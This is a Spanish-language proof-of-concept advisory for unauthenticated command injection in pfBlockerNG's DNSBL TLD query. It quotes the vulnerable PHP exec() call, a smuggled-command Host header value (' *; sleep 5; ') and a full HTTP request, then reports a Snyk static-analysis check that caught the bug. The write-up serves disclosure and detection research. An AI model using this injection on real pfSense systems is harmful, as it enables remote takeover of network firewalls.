
Exploit de prueba de concepto para ejecución remota de código no autenticada en pfBlockerNg mediante entrada no saneada en la función de consulta DNSBL TLD, con análisis de detección SAST.
pfBlockerNG es la próxima generación de pfBlocker con las siguientes características:
https://docs.netgate.com/pfsense/en/latest/packages/pfblocker.html
pfBlockerNg <2.1.4_27
Ejecución remota de código sin autenticación (RCE)
La consulta para la sección de bloqueo de TLD de index.php incluye una entrada de usuario no saneada/no escapada d_query del encabezado Host en el sumidero de la función PHP exec.
exec("/usr/bin/grep -l '^{$d_query}$' /var/db/pfblockerng/dnsblalias/DNSBL_TLD", $match);
/pfblockerng/www/index.php
// Query for a TLD Block
if (empty($pfb_query)) {
$idparts = explode('.', $query);
$idcnt = (count($idparts) -1);
for ($i=1; $i <= $idcnt; $i++) {
$d_query = implode('.', array_slice($idparts, -$i, $i, TRUE));
exec("/usr/bin/grep -l '^{$d_query}$' /var/db/pfblockerng/dnsblalias/DNSBL_TLD", $match);
if (!empty($match[0])) {
$pfb_query = 'DNSBL_TLD';
break;
}
}
}
Requiere acceso HTTP a la consola web de pfSense
Payload de ejemplo: ' *; sleep 5; '
Solicitud de PoC:
GET /pfblockerng/www/index.php HTTP/1.1
Host: test.test2' *; sleep 5; '
Content-Length: 2
Me encanta pfBlockerNg y me inspiré en el reciente CVE-2022-31814 de Di r00t y su excelente artículo https://www.ihteam.net/advisory/pfblockerng-unauth-rce-vulnerability/ y sentí curiosidad por ver si la herramienta de prueba de seguridad estática de aplicaciones (SAST) de Snyk detectaría la vulnerabilidad. Así que descargué el archivo index.php de la versión 2.1.4_26 y ejecuté Snyk Code contra él. Efectivamente, Snyk detectó la vulnerabilidad, además de otra similar reportada apenas unas líneas después.